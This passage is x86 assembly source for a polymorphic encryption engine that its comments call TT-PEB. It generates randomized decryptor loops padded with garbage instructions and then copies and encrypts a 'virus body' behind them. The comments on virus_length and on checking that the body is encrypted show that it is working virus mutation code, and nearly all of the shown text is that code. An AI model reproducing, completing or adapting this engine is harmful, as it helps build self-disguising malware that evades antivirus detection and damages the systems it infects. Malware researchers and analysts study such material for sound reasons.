                and     ax,8                    ; need to preserve AX and F?
		cmp	ax,0
                je      no_saveaxf

                call    get_random
                and     al,2                    ; two ways to do it
		cmp	al,0
                je      loc_66

                mov     ax,509ch                ; 'pushf' 'push ax'
                stosw
                mov     ax,9d58h                ; 'pop ax' 'popf' for later
		jmp	short loc_67
loc_66:
                mov     ax,9c50h                ; 'push ax' 'pushf'
                stosw
                mov     ax,589dh                ; 'popf' 'pop ax'
loc_67:
                push    ax                      ; will store at the end of
                                                ; the decryptor
no_saveaxf:
                mov     ax,[tt_saved_ax]
                and     ax,4                    ; more or less garbage
		cmp	ax,0
                je      not_toogarby
                call    garb_cntr
                call    garb_cntr               ; garbageeeeee :)
                call    garb_cntr
                call    garb_cntr
not_toogarby:
                call    regs_set                ; set one reg (cnt/pnt/op)
                call    garb_cntr
                call    garb_cntr
                call    regs_set                ; set another reg
                call    garb_cntr
                call    garb_cntr
                call    regs_set                ; set remaining reg
                call    garb_cntr
                call    garb_cntr
                mov     [dec_loop_start],di     ; save offset where will
                mov     byte ptr [decr_init],0  ; decryptor jump to
                call    garb_cntr
                call    garb_cntr
                call    math_oper               ; math oper on mem
                call    garb_cntr
                call    garb_cntr
                call    incdec_pntcnt           ; pnt/cnt update
                call    garb_cntr
                call    garb_cntr
                call    incdec_pntcnt           ; remaining pnt/cnt update
                call    garb_cntr
                call    garb_cntr
                call    check_counter           ; check on counter creation
                call    make_cond_jump          ; conditional jump for end
                call    jump_back               ; long jump back to start of
                                                ; decryptor
                mov     byte ptr [decr_init],0ffh
                mov     byte ptr [pntr_reg],0ffh        ; reset reg uses
                mov     byte ptr [cntr_reg],0ffh
                mov     byte ptr [oper_reg],0ffh

                mov     ax,[tt_saved_ax]
		and	ax,4
		cmp	ax,0
                je      not_toogarby2
                call    garb_cntr
                call    garb_cntr
not_toogarby2:
                mov     ax,[tt_saved_ax]
                and     ax,8                    ; need to preserve AX and F?
		cmp	ax,0
                je      loc_71
                pop     ax                      ; get the pops from stack
                stosw                           ; and store them
loc_71:
                mov     al,0cbh                 ; store the retf
                stosb
                mov     [encr_pnt],di           ; save its position

                push    es
		mov	ax,es
		sub	ax,40h
		mov	es,ax
		sub	di,di
                mov     cx,400h                 ; clear generation tables
		mov	al,0
                rep     stosb
		pop	es

                mov     si,[pntr_pos]
                mov     ax,[encr_pnt]           ; set pointer assignment
                mov     es:[si+1],ax            ; in decryptor (the memory
                                                ; one! the definitive that
                                                ; will be run will be put
                                                ; later
                push    ds
                lds     si,dword ptr [tt_saved_dx]
                mov     di,ds:[encr_pnt]
                mov     cx,cs:[tt_saved_cx]
                rep     movsb           ; copy virus body after generated
                                        ; code
                pop     ds

                mov     ax,es
		mov	ds,ax

                mov     ax,offset return_ply
                push    cs              ; push return adress on the stack
		push	ax

                sub     ax,ax
		push	es
		push	ax
                retf                    ; jump on encryptor

return_ply:                             ; returning point after the encryptor
                                        ; (hehe, decryptor :) ) has been
                                        ; executed
                sti
                cld
		mov	ax,cs
		mov	ds,ax
                mov     si,[mate_pos]
                mov     al,[math_oc]
                mov     es:[si],al      ; set the inverse math operation in
                                        ; the decryptor
                mov     di,[encr_pnt]
                mov     byte ptr es:[di-1],90h  ; put a NOP where the RET
                                                ; was
                mov     si,[pntr_pos]
                mov     ax,[encr_pnt]
                add     ax,[tt_saved_bp]
                add     ax,[tt_saved_si]        ; put starting value for
                mov     es:[si+1],ax            ; memory pointer register
                                                ; in the decryptor
                push    ds
                lds     si,dword ptr cs:[tt_saved_dx]
                mov     di,cs:[encr_pnt]
		mov	cx,10h
		add	si,cx
		add	di,cx
                repe    cmpsb                   ; check that body is encrypted
		pop	ds
                jnz     body_encrypted

                mov     ax,es
                sub     ax,40h                  ; if not start again
		mov	es,ax
                jmp     poly_init
body_encrypted:
		sub	dx,dx
		mov	ax,es
		mov	ds,ax
		sub	ax,40h
		mov	es,ax
                mov     cx,cs:[encr_pnt]        ; set return values
                add     cx,cs:[tt_saved_cx]
                mov     di,cs:[encr_pnt]
                mov     ax,cs:[tt_saved_cx]
		pop	bp
		pop	si
		pop	bx

                cli                             ; restore original SS:SP
                mov     sp,word ptr cs:[tt_saved_sp]
                mov     ss,word ptr cs:[tt_saved_ss]
                sti

                retn                            ; TT-PEB ending point

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

regs_set:
;
; regs_set creates the inital assignments to the counter (tbl1_b),
; pointer (tbl1_a) and math operation register (tbl1_c). of course it
; first check it hasn't been done yet.
;
                mov     ax,3
                mov     bx,offset table_1
                call    tbl2addr
                jmp     ax

table_1:
                dw      offset tbl1_a
                dw      offset tbl1_b
                dw      offset tbl1_c

tbl1_a:
                cmp     byte ptr [pntr_reg],0FFh
                jne     regs_set
                jmp     short pntr_crea
tbl1_b:
                cmp     byte ptr [cntr_reg],0FFh
                jne     regs_set
                jmp     short cntr_crea
tbl1_c:
                cmp     byte ptr [oper_reg],0FFh
                jne     regs_set
		jmp	loc_81


incdec_pntcnt:
;
; this routine:
;  1) decrements the counter reg (tbl2_b)
;  2) increments the pointer reg (tbl2_a)
; of course it first checks that it hasn't been yet done
;
                mov     ax,2
                mov     bx,offset table_2
                call    tbl2addr
		jmp	ax			;*Register jump
table_2:
                dw      offset tbl2_a
                dw      offset tbl2_b

tbl2_a:
                cmp     byte ptr [pntr_chdone],0ffh
                jnz     incdec_pntcnt
                jmp     pntr_update
tbl2_b:
                cmp     byte ptr [cntr_chdone],0ffh
                jne     incdec_pntcnt
                jmp     cntr_update

; pntr_crea creates the MOV pointer,offset_on_encr_code (offset is set near
; the end of the poly generation)
pntr_crea:
                mov     [pntr_pos],di
pntr_select:
		mov	ax,3
                mov     bx,offset table_3       ; which reg to use as pntr
                call    tbl2addr

                cmp     byte ptr [cntr_reg],al
                je      pntr_select
                mov     ah,byte ptr [oper_reg]  ; be sure it isn't already
                and     ah,0fbh                 ; used
		cmp	al,ah
                je      pntr_select

                mov     [pntr_reg],al
                or      al,0b8h                 ; mov opcode
                stosb
                add     di,2                    ; space for later assignment
		retn
table_3:
                dw      03h                     ; bx
                dw      06h                     ; si
                dw      07h                     ; di

cntr_crea:
;
; cntr_crea creates the inital assignment to the counter register.
; there are three ways to do so in tt-peb:
;  1) tbl4_a    directly sets value via 16bit mov (mov cntr16,value)
;  2) tbl4_b    first assigns the value to the low 8bits of the counter reg
;               and then to the high 8bits
;  3) tbl4_c    first assigns the value to the high 8bits, then to the low 8
; between the low 8 and high 8 bit set there will be some garbage.
; of course the tbl4_b and tbl4_c can't be used by 16bits only regs (bp,di,si)
;
;
                call    garb_rr1f               ; get a rnd register
                cmp     al,[pntr_reg]           ; not same as pointer
                je      cntr_crea

                mov     byte ptr [cntr_reg],al
		mov	dl,al
                cmp     dl,5                    ; bp 16only
                je      tbl4_a
                cmp     dl,6                    ; si 16only
                je      tbl4_a
                cmp     dl,7                    ; di 16only
                je      tbl4_a

                mov     ax,3
                mov     bx,offset table_4       ; for others randomly
                call    tbl2addr                ; select the method
                jmp     ax
table_4:
                dw      offset tbl4_a
                dw      offset tbl4_b
                dw      offset tbl4_c

tbl4_a:
                mov     al,dl
                or      al,0b8h
                stosb
                call    get_random
                mov     ah,00h
                mov     cx,ax
                mov     ax,virus_length
                cmp     byte ptr [poly_in_mem],0
                je      loca_1
                add     ax,cx
loca_1:
                stosw
                retn
tbl4_b:
                mov     al,dl
                or      al,0b0h
                stosb
                call    get_random
                mov     ah,00h
                mov     cx,ax
                mov     ax,virus_length
                cmp     byte ptr [poly_in_mem],0
                je      loc_79
                add     ax,cx
loc_79:
                stosb
		push	ax
		push	dx
		mov	al,7
                call    garbager
		pop	dx
		mov	al,dl
		or	al,0B4h
                stosb
		pop	ax
		mov	al,ah
                stosb
		retn
tbl4_c:
                mov     al,dl
		or	al,0B4h
                stosb
                call    get_random
		mov	ah,0
		mov	cx,ax
                mov     ax,virus_length
                cmp     byte ptr [poly_in_mem],0
                je      loc_80
		add	ax,cx
loc_80:
		xchg	al,ah
                stosb
		push	ax
		push	dx
		mov	al,7
                call    garbager
		pop	dx
		mov	al,dl
		or	al,0B0h
                stosb
		pop	ax
		mov	al,ah
                stosb
		retn
loc_81:
                call    garb_rr14
                mov     byte ptr [oper_reg],al
		or	al,0B0h
                stosb
                call    store_rnd_no0
		retn

math_oper:
;
; math_oper creates the code that encrypts/decrypts data in memory
;
                mov     [mathpos],di
                mov     ax,[tt_saved_ax]
                and     ax,1                    ; need to force CS: ?
		cmp	ax,0
                je      loc_82
                mov     al,2Eh                  ; force CS:
                stosb
		jmp	short loc_83
loc_82:
                call    garb_rr30
loc_83:
		mov	ax,3
                mov     bx,offset table_5       ; select enc/dec type
                call    tbl2addr

                mov     dx,ax
                mov     [math_oc],dh            ; store the inverse
                cmp     byte ptr [pntr_reg],3
                jne     loc_84
		mov	dh,7
loc_84:
                cmp     byte ptr [pntr_reg],6
                jne     loc_85
		mov	dh,4
loc_85:
                cmp     byte ptr [pntr_reg],7
                jne     loc_85a
		mov	dh,5
loc_85a:
		mov	ax,2
                mov     bx,offset table_6
                call    tbl2addr
                jmp     ax
table_6:
;
; the generated math operation should be:
;  1) tbl6_a:   math operation using the value from the operation reg
;  2) tbl6_b:   math operation using an immediate
;
                dw      offset tbl6_a
                dw      offset tbl6_b
tbl6_a:
                mov     [mate_pos],di
                mov     al,dl
                stosb
                mov     al,byte ptr [oper_reg]
                shl     al,3
                or      al,dh
                stosb
                retn
tbl6_b:
                mov     byte ptr [oper_reg],0ffh        ; can use the oper_reg
                or      [math_oc],dh
                mov     al,80h
                stosb
                mov     [mate_pos],di
                mov     al,dh
                or      al,dl
                stosb
                call    garb_rr07
                retn

table_5:        ;      ENC,DEC
                db     30h,30h          ; xor/xor
                db     28h,00h          ; add/sub
                db     00h,28h          ; sub/add

pntr_update:
;
; pntr_update creates the code to update the pointer on encrypted code
; there are 5 ways in which the poly does this:
;  1) tbl7_a:   inc pnt_reg
;  2) tbl7_b:   add pnt_reg,1   (adding 1 as a byte)
;  3) tbl7_c:   add pnt_reg,1   (adding 1 as a word)
;  4) tbl7_d:   sub pnt_reg,-1  (subbing -1 as a byte)
;  5) tbl7_e:   sub pnt_reg,-1  (subbing -1 as a word)
;
                mov     byte ptr [pntr_chdone],0
		mov	ax,5
                mov     bx,offset table_7
                call    tbl2addr
                jmp     ax
table_7:
                dw      offset tbl7_a
                dw      offset tbl7_b
                dw      offset tbl7_c
                dw      offset tbl7_d
                dw      offset tbl7_e

tbl7_a:
                mov     al,[pntr_reg]
                or      al,40h
                stosb
                retn
tbl7_b:
                mov     al,83h
                stosb
                mov     al,byte ptr [pntr_reg]
                or      al,0c0h
                stosb
                mov     al,01h
                stosb
                retn
tbl7_c:
                mov     al,81h
                stosb
                mov     al,byte ptr [pntr_reg]
                or      al,0c0h
                stosb
                mov     ax,01h
                stosw
                retn
tbl7_d:
                mov     al,83h
                stosb
                mov     al,byte ptr [pntr_reg]
                or      al,0e8h
                stosb
                mov     al,0ffh
                stosb
                retn
tbl7_e:
                mov     al,81h
                stosb
                mov     al,byte ptr [pntr_reg]
                or      al,0e8h
                stosb
                mov     ax,0ffffh
                stosw
                retn

cntr_update:
;
; cntr_update creates the code to update the counter in the decryption loop
; there are 5 ways to do so in ttpeb:
;  1) tbl8_a:   dec cnt_reg
;  2) tbl8_b:   sub cnt_reg,1   (subbing 1 as a byte)
;  3) tbl8_c:   sub cnt_reg,1   (subbing 1 as a word)
;  4) tbl8_d:   add cnt_reg,-1  (adding -1 as a byte)
;  5) tbl8_e:   add cnt_reg,-1  (adding -1 as a word)
;
                mov     byte ptr [cntr_chdone],0
		mov	ax,5
                mov     bx,offset table_8
                call    tbl2addr
                jmp     ax
table_8:
                dw      offset tbl8_a
                dw      offset tbl8_b
                dw      offset tbl8_c
                dw      offset tbl8_d
                dw      offset tbl8_e

tbl8_a:
                mov     al,byte ptr [cntr_reg]
                or      al,48h
                stosb
		retn

tbl8_b:
		mov	al,83h
                stosb
                mov     al,byte ptr [cntr_reg]
		or	al,0E8h
                stosb
		mov	al,1
                stosb
		retn
tbl8_c:
                mov     al,81h
                stosb
                mov     al,byte ptr [cntr_reg]
		or	al,0E8h
                stosb
		mov	ax,1
                stosw
		retn
tbl8_d:
                mov     al,83h
                stosb
                mov     al,byte ptr [cntr_reg]
		or	al,0C0h
                stosb
		mov	al,0FFh
                stosb
		retn
tbl8_e:
                mov     al,81h
                stosb
                mov     al,byte ptr [cntr_reg]
		or	al,0C0h
                stosb
		mov	ax,0FFFFh
                stosw
		retn

check_counter:
;
; check_counter creates the code to check if the counter is 0 so the loop
; has to finish
; there are 3 ways to do this:
;  1) tbl9_a:   cmp cnt_reg,0   (using 0 as a byte)
;  2) tbl9_b:   cmp cnt_reg,0   (using 0 as a word)
;  3) tbl9_c:   or  cnt_reg,cnt_reg

                mov     ax,3
                mov     bx,offset table_9
                call    tbl2addr
                jmp     ax

table_9:
                dw      offset tbl9_a
                dw      offset tbl9_b
                dw      offset tbl9_c

tbl9_a:
                mov     al,83h
                stosb
                mov     al,byte ptr [cntr_reg]
                or      al,0f8h
                stosb
                mov     al,00h
                stosb
                retn
tbl9_b:
                mov     al,81h
                stosb
                mov     al,byte ptr [cntr_reg]
                or      al,0f8h
                stosb
                mov     ax,00h
                stosw
                retn
tbl9_c:
                mov     al,09h
                stosb
                mov     al,byte ptr [cntr_reg]
                shl     al,3
                or      al,byte ptr [cntr_reg]
                or      al,0c0h
                stosb
                retn

make_cond_jump:
;
; make_cond_jump creates the conditional jump after the comparation of the
; counter register. the conditional jump will jump a few garbage instructions
; (generated in this routine) and the main jump to the start of the decryption
; loop (generated later in the jump_back routine).
;
                mov     al,74h                  ; jump zero
                stosb
		add	di,1
		push	di

                mov     byte ptr [spec_cnst],0
		mov	al,7
                call    garbager
                mov     byte ptr [spec_cnst],0FFh

                pop     bx
		mov	ax,di
		sub	ax,bx
                add     ax,3                    ; 3 bytes for the jump_back
                mov     es:[bx-1],al            ; set the offset to jump
		retn


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

; Creates the JMP back to the start of the decryption loop
jump_back:
		mov	bx,di
                mov     al,0e9h                 ; jmp opcode
                stosb
                mov     ax,[dec_loop_start]
		sub	bx,ax
		mov	ax,bx
		add	ax,3
		neg	ax
                stosw                           ; back offset
		retn


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

; Get the number of random instructions to generate depending on given
; option to TT-PEB in AX
garb_cntr:
                mov     ax,word ptr [tt_saved_ax]
		and	ax,2
		cmp	ax,0
                je      gb_exit1

                mov     al,3fh
                jmp     short garbager
gb_exit1:
                retn

; Create some garbage instructions. Needs AL as a mask to limit max rnd
; instruction number
garbager:
		mov	cl,al
                call    get_random
		and	al,cl
		mov	ah,0
		mov	cx,ax
                jmp     short garb_loop1

sub_37:
		mov	cl,al
                call    random_no0
		and	al,cl
		mov	ah,0
		mov	cx,ax
                jmp     short garb_loop1

; CX = number of garbage instructions to create
garb_loop1:
		cmp	cx,0
                je      garb_loop1_end

                push    cx
		call	sub_38
		pop	cx

                sub     cx,1
                jmp     short garb_loop1
garb_loop1_end:
		retn

sub_38:
		push	ds
		mov	ax,es
		sub	ax,40h
		mov	ds,ax
                mov     ax,ds:[0]
		mov	bx,2
                call    tbl2addr
		pop	ds

                cmp     ax,8000h        ; if >=8000h then a special
                                        ; construct has been choosen
                jae     loc_92

                mov     si,ax
                call    garb_compiler
		retn
loc_92:
                cmp     byte ptr [spec_cnst],0  ; creation possible? 0=NO
                je      loc_ret_93

                sub     ax,8000h                ; correct adress
                call    ax

loc_ret_93:
		retn

garb_compiler:
                cmp     byte ptr [si],0ffh      ; end of garbage line?
                je      loc_ret_97

                mov     ah,[si]                 ; get "command" to do
		add	si,1
		push	si
                mov     si,offset garb_routines
loc_95:
		cmp	[si],ah
                je      loc_96                  ; search the appropriate
                add     si,3                    ; command
		jmp	short loc_95
loc_96:
                mov     bx,[si+1]               ; adress in BX
		pop	si
                call    bx                      ; build garbage
                jmp     short garb_compiler

loc_ret_97:
		retn

tbl2addr:
; given as input the adress of a table (in DS:BX) and the number of elements
; in the table (in AX) this routine will return (in AX) the value of a random
; element of the table. this is expecially used to get the adress of a garbage
; or instruction generation routine from the engine tables

                push    bx
		push	cx
		push	dx
		mov	cx,ax
                call    random_in_ax            ; rnd in ax
loc_98:
                cmp     ax,cx
                jb      loc_99
                sub     ax,cx                   ; sub until a good (< than max)
                jmp     short loc_98            ; nr is choosen
loc_99:
                add     ax,ax                   ; each addr is 1 word long
                add     bx,ax                   ; + base of table
                mov     ax,[bx]                 ; get the value
		pop	dx
		pop	cx
		pop	bx
		retn

; Table with reference to garbage creation routines
garb_routines:
                db      00h
                dw      offset garb_rr00

                db      01h
                dw      offset garb_rr01

                db      02h
                dw      offset garb_rr02

                db      03h
                dw      offset garb_rr03

                db      04h
                dw      offset garb_rr04

                db      05h
                dw      offset garb_rr05

                db      06h
                dw      offset garb_rr06

                db      07h
                dw      offset garb_rr07

                db      08h
                dw      offset garb_rr08

                db      09h
                dw      offset garb_rr09

                db      0ah
                dw      offset garb_rr0a

                db      0bh
                dw      offset garb_rr0b

                db      0ch
                dw      offset garb_rr0c

                db      0dh
                dw      offset garb_rr0d

                db      0eh
                dw      offset garb_rr0e

                db      0fh
                dw      offset garb_rr0f

                db      10h
                dw      offset garb_rr10

                db      11h
                dw      offset garb_rr11

                db      12h
                dw      offset garb_rr12

                db      13h
                dw      offset garb_rr13

                db      14h
                dw      offset garb_rr14

                db      15h
                dw      offset garb_rr15

                db      16h
                dw      offset garb_rr16

                db      17h
                dw      offset garb_rr17

                db      18h
                dw      offset garb_rr18

                db      19h
                dw      offset garb_rr19

                db      1ah
                dw      offset garb_rr1a

                db      1bh
                dw      offset garb_rr1b

                db      1ch
                dw      offset garb_rr1c

                db      1dh
                dw      offset garb_rr1d

                db      1eh
                dw      offset garb_rr1e

                db      1fh
                dw      offset garb_rr1f

                db      20h
                dw      offset garb_rr20

                db      21h
                dw      offset garb_rr21

                db      22h
                dw      offset garb_rr22

                db      23h
                dw      offset garb_rr23

                db      24h
                dw      offset garb_rr24

                db      25h
                dw      offset garb_rr25

                db      26h
                dw      offset garb_rr26

                db      27h
                dw      offset garb_rr27

                db      28h
                dw      offset garb_rr28

                db      29h
                dw      offset garb_rr29

                db      2ah
                dw      offset garb_rr2a

                db      2bh
                dw      offset garb_rr2b

                db      2ch
                dw      offset garb_rr2c

                db      2dh
                dw      offset garb_rr2d

                db      2eh
                dw      offset garb_rr2e

                db      2fh
                dw      offset garb_rr2f

                db      30h
                dw      offset garb_rr30

                db      31h
                dw      offset garb_rr31

                db      32h
                dw      offset garb_rr32

garb_rr00:
                movsb
                retn

garb_rr01:
                push    cx
                mov     ch,0
		mov	cl,[si]
		add	si,1
                rep     movsb
		pop	cx
		retn

garb_rr02:
                lodsb                           ; String [si] to al
		retn

garb_rr03:
                stosb                           ; Store al to es:[di]
		retn

garb_rr04:
get_random:                ; output random byte in AL

                mov     byte ptr cs:[tmp_store_ah],ah

;                cmp     word ptr cs:[rnd_pos],0FFh       ; first random?
                db       2Eh,83h,3Eh,64h,0Dh,0FFh
                jnz     first_random

                in      al,40h                  ; port 40h, 8253 timer 0 clock
		mov	ah,al
		mov	al,0
                mov     word ptr cs:[rnd_pos],ax
first_random:
                push    si
		push	ds
		mov	ax,0F000h
		mov	ds,ax
                mov     si,word ptr cs:[rnd_pos]
look_randy:
                mov     al,byte ptr [si]

                cmp     al,byte ptr [si+1]
                jne     ok_randy

                cmp     al,byte ptr [si+2]
                jne     ok_randy

                cmp     al,byte ptr [si+3]
                jne     ok_randy

                add     si,1
                jmp     short look_randy
ok_randy:
		add	si,1
                mov     word ptr cs:[rnd_pos],si
		pop	ds
		pop	si
                mov     ah,byte ptr cs:[tmp_store_ah]
		retn

rnd_pos         dw      98e3h

garb_rr05:
                call    get_random
		stosb				; Store al to es:[di]
		retn

garb_rr06:
random_no0:
                call    get_random
		cmp	al,0
                je      random_no0
		retn

garb_rr07:
store_rnd_no0:
                call    random_no0
		stosb				; Store al to es:[di]
		retn

garb_rr08:
random_noff:
                call    get_random
		cmp	al,0FFh
                je      random_noff
		retn

garb_rr09:
                call    random_noff
		stosb				; Store al to es:[di]
		retn

random_in_ax:
                call    get_random
		mov	ah,al
                call    get_random
		retn

garb_rr0a:
		and	al,[si]
		add	si,1
		stosb				; Store al to es:[di]
		retn

garb_rr0b:
                or      al,[si]
		add	si,1
		stosb				; Store al to es:[di]
		retn

garb_rr0c:
                and     al,[si]
		add	si,1
		or	al,[si]
		add	si,1
		stosb				; Store al to es:[di]
		retn

garb_rr0d:
                mov     cl,[si]
		add	si,1
                shr     al,cl
		retn

garb_rr0e:
		mov	cl,[si]
		add	si,1
                shl     al,cl
		retn

garb_rr0f:
                cmp     byte ptr [some_lock],0
		jne	loc_106			; Jump if not equal
                mov     byte ptr [some_lock],0FFh
                call    garb_rr19
                mov     byte ptr [some_lock],0
		retn
loc_106:
                call    get_random
		and	al,7
		retn

sub_47:
                call    garb_rr0f
		mov	ah,al
                shl     ah,3
		retn

garb_rr10:
		call	sub_47
                call    garb_rr0f
		or	al,ah
		retn

garb_rr11:
                call    sub_49
                call    garb_rr0f
		or	al,ah
		retn

garb_rr12:
                call    sub_51
                call    garb_rr0f
		or	al,ah
		retn

garb_rr13:
		call	sub_47
                call    garb_rr1e
		or	al,ah
		retn

garb_rr14:
                cmp     byte ptr [some_lock],0
		jne	loc_107			; Jump if not equal
                mov     byte ptr [some_lock],0FFh
                call    garb_rr19
                mov     byte ptr [some_lock],0
		retn
loc_107:
                mov     byte ptr ds:[tmp_store_ah],ah
loc_108:
                mov     ah,byte ptr ds:[tmp_store_ah]
                call    garb_rr0f
                mov     byte ptr ds:[tmp_store_ah],ah
		mov	ah,al
		and	ah,3
                cmp     [pntr_reg],ah
		je	loc_108			; Jump if equal
                cmp     byte ptr [cntr_reg],ah
		je	loc_108			; Jump if equal
                mov     ah,byte ptr ds:[tmp_store_ah]
		retn


sub_49:
                call    garb_rr14
		mov	ah,al
                shl     ah,3
		retn

garb_rr15:
		call	sub_47
                call    garb_rr14
		or	al,ah
		retn

garb_rr16:
                call    sub_49
                call    garb_rr14
		or	al,ah
		retn

garb_rr17:
                call    sub_51
                call    garb_rr14
		or	al,ah
		retn

garb_rr18:
                call    sub_49
                call    garb_rr1e
		or	al,ah
		retn

garb_rr19:
                call    garb_rr14
                cmp     byte ptr [oper_reg],al
                je      garb_rr19
		retn

sub_51:
                call    garb_rr19
		mov	ah,al
                shl     ah,3
		retn

garb_rr1a:
		call	sub_47
                call    garb_rr19
		or	al,ah
		retn

garb_rr1b:
                call    sub_49
                call    garb_rr19
		or	al,ah
		retn

garb_rr1c:
		call	sub_51
                call    garb_rr19
		or	al,ah
		retn

garb_rr1d:
		call	sub_51
                call    garb_rr1e
		or	al,ah
		retn

garb_rr1e:
                call    get_random
		and	al,7
		cmp	al,6
                je      garb_rr1e
		retn

garb_rr1f:
                cmp     byte ptr [some_lock],0
		jne	loc_112			; Jump if not equal
                mov     byte ptr [some_lock],0FFh
                call    garb_rr29
                mov     byte ptr [some_lock],0
		retn
loc_112:
                call    get_random
		and	al,7
		cmp	al,4
                je      garb_rr1f
		retn

sub_54:
                call    garb_rr1f
		mov	ah,al
                shl     ah,3                    ; Shift w/zeros fill
		retn

garb_rr20:
		call	sub_54
                call    garb_rr1f
		or	al,ah
		retn

garb_rr21:
                call    sub_56
                call    garb_rr1f
		or	al,ah
		retn

garb_rr22:
                call    sub_58
                call    garb_rr1f
		or	al,ah
		retn

garb_rr23:
		call	sub_54
                call    garb_rr1e
		or	al,ah
		retn

garb_rr24:
                cmp     byte ptr [some_lock],0
		jne	loc_114			; Jump if not equal
                mov     byte ptr [some_lock],0FFh
                call    garb_rr29
                mov     byte ptr [some_lock],0
		retn
loc_114:
                call    garb_rr1f
                cmp     [pntr_reg],al
                je      garb_rr24
                cmp     byte ptr [cntr_reg],al
                je      garb_rr24
		retn


sub_56:
                call    garb_rr24
		mov	ah,al
                shl     ah,3
		retn

garb_rr25:
		call	sub_54
                call    garb_rr24
		or	al,ah
		retn

garb_rr26:
                call    sub_56
                call    garb_rr24
		or	al,ah
		retn

garb_rr27:
		call	sub_58
                call    garb_rr24
		or	al,ah
		retn

garb_rr28:
		call	sub_56
                call    garb_rr1e
		or	al,ah
		retn

garb_rr29:
                mov     byte ptr ds:[tmp_store_ah],ah
loc_115:
                mov     ah,byte ptr ds:[tmp_store_ah]
                call    garb_rr24
                mov     byte ptr ds:[tmp_store_ah],ah
                mov     ah,byte ptr [oper_reg]
		and	ah,0FBh
		cmp	al,ah
		je	loc_115			; Jump if equal
                mov     ah,byte ptr ds:[tmp_store_ah]
		retn

sub_58:
                call    garb_rr29
		mov	ah,al
                shl     ah,3                    ; Shift w/zeros fill
		retn

garb_rr2a:
		call	sub_54
                call    garb_rr29
		or	al,ah
		retn

garb_rr2b:
		call	sub_56
                call    garb_rr29
		or	al,ah
		retn

garb_rr2c:
		call	sub_58
                call    garb_rr29
		or	al,ah
		retn

garb_rr2d:
		call	sub_58
                call    garb_rr1e
		or	al,ah
		retn

garb_rr2e:
		mov	al,[si]
		add	si,1
		mov	ah,al
		and	ah,3
                cmp     [pntr_reg],ah
                je      loc_ret_116
                cmp     byte ptr [cntr_reg],ah
                je      loc_ret_116
                cmp     byte ptr [oper_reg],al
                je      loc_ret_116
		add	si,1

loc_ret_116:
		retn

garb_rr2f:
                mov     al,[si]
		add	si,1
                cmp     [pntr_reg],al
                je      loc_ret_117
                cmp     byte ptr [cntr_reg],al
                je      loc_ret_117
                mov     ah,byte ptr [oper_reg]
		and	ah,0FBh
		cmp	al,ah
                je      loc_ret_117
		add	si,1
loc_ret_117:
		retn

garb_rr30:
                call    get_random
		and	al,3
		cmp	al,0
		jne	loc_ret_119		; Jump if not equal
                call    get_random
		and	al,18h
		cmp	al,10h
                je      garb_rr30
                or      al,26h
                stosb
loc_ret_119:
		retn

garb_rr31:
                cmp     byte ptr [decr_init],0
                je      loc_ret_120
                cmp     byte ptr [cntr_reg],1
                je      loc_ret_120
                cmp     byte ptr [oper_reg],1
                je      loc_ret_120
                cmp     byte ptr [oper_reg],5
                je      loc_ret_120
                mov     al,byte ptr [oper_reg]
		and	al,0FBh
		cmp	al,1
                je      loc_ret_120
                call    get_random
		and	al,3
		cmp	al,0
                jne     loc_ret_120
                call    get_random
		and	al,1
		or	al,0F2h
                stosb
loc_ret_120:
		retn

garb_rr32:
                cmp     byte ptr [decr_init],0
                je      loc_ret_121
		add	si,1
loc_ret_121:
		retn

tmp_store_ah    db      29h                     ; tmp space to store AH


                db      00h
                db      00h
; this table contains the offsets to the garbage constructs.
; the first few (that create more complicated constructs like calls) have
; a fixed added value of 8000h, so the main generation routine will see if
; one of them has been choosen. this is done to make the detection of such
; constructs faster. infact this kind of constructs can't be always done
; (the poly doesn't generate a call construct in another call construct and
; such like things) of course the offsets will be corrected later.
garbage_offsets:
                dw      offset garb_cf0 + 8000h
                dw      offset garb_cf1 + 8000h
                dw      offset garb_cf2 + 8000h
                dw      offset garb_cf3 + 8000h
                dw      offset garb_cf4 + 8000h
                dw      offset garb_cf5 + 8000h
                dw      offset garb_c00
                dw      offset garb_c01
                dw      offset garb_c02
                dw      offset garb_c03
                dw      offset garb_c04
                dw      offset garb_c05
                dw      offset garb_c06
                dw      offset garb_c07
                dw      offset garb_c08
                dw      offset garb_c0a
                dw      offset garb_c0c
                dw      offset garb_c0d
                dw      offset garb_c0f
                dw      offset garb_c11
                dw      offset garb_c13
                dw      offset garb_c15
                dw      offset garb_c18
                dw      offset garb_c1c
                dw      offset garb_c1e
                dw      offset garb_c20
                dw      offset garb_c22
                dw      offset garb_c24
                dw      offset garb_c27
                dw      offset garb_c29
                dw      offset garb_c2a
                dw      offset garb_c2b
                dw      offset garb_c2c
                dw      offset garb_c2d
                dw      offset garb_c2e
                dw      offset garb_c2f
                dw      offset garb_c30
                dw      offset garb_c31
                dw      offset garb_c32
                dw      offset garb_c33
                dw      offset garb_c34
                dw      offset garb_c35
                dw      offset garb_c36
                dw      offset garb_c37
                dw      offset garb_c38
                dw      offset garb_c39
                dw      offset garb_c3a
                dw      offset garb_c3b
                dw      offset garb_c3c
                dw      offset garb_c3d
                dw      offset garb_c3e
                dw      offset garb_c3f
                dw      offset garb_c40
                dw      offset garb_c41
                dw      offset garb_c42
                dw      offset garb_c43
                dw      offset garb_c44
                dw      offset garb_c45
                dw      offset garb_c46
                dw      offset garb_c47
                dw      offset garb_c48
                dw      offset garb_c49
                dw      offset garb_c4a
                dw      offset garb_c4b
                dw      offset garb_c4c
                dw      offset garb_c4d
                dw      offset garb_c4e
                dw      offset garb_c4f
                dw      offset garb_c50
                dw      offset garb_c51
                dw      offset garb_c52
                dw      offset garb_c53
                dw      offset garb_c54
                dw      offset garb_c55
                dw      offset garb_c56
                dw      offset garb_c57
                dw      offset garb_c58
                dw      offset garb_c59
                dw      offset garb_c5a
                dw      offset garb_c5b
                dw      offset garb_c5c
                dw      offset garb_c5d
                dw      offset garb_c5e
                dw      offset garb_c5f
                dw      offset garb_c60
                dw      offset garb_c61
                dw      offset garb_c62
                dw      offset garb_c63
                dw      offset garb_c64
                dw      offset garb_c65
                dw      offset garb_c66
                dw      offset garb_c67
                dw      offset garb_c68
                dw      offset garb_c69
                dw      offset garb_c6a
                dw      offset garb_c6b
